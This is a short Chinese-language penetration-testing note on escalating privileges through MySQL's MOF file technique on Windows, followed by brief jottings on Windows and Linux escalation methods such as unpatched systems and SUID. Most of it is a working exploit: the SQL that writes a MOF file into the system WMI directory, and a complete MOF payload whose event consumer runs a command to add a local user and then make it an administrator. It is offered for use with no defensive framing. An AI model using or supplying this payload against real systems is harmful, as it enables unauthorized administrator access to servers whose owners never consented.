Mysql-MOF提权

0x01 提权条件

1）获取到对方mysql的shell，或者是获取到mysql账号密码，能够调用mysql语句
2）目录可写入
对方mysql具有insert和delete权限，也就是可写可删除添加能够创建目录，写入文件
验证是否可写：

none

show global variables like 'secure%';

如果secure_file_priv值为空则可写，为指定路劲则是指定路劲可写，需要全部可写需要在mysql.ini配置文件添加语句：即可

none

secure_file_priv=

secure_file_priv是限制函数在哪个目录下拥有上传或者读取文件的权限

0x02 提权exp

利用MySQL将文件写入目录

none

select load_file('mof文件路径') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

none

#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa \”Win32_LocalTime\” “
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user secist 123 /add\”)“;
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

执行完毕替换net user hsy 123456 /add换为
net localgroup administrators hsy/add 即可将用户提升管理员权限

随手笔记：

windows提权手段:getshll

收集补丁信息

是否存在未打补丁提权

使用命令或者利用工具

linux提权手段：

suid授权 sudo授权

使用suid提权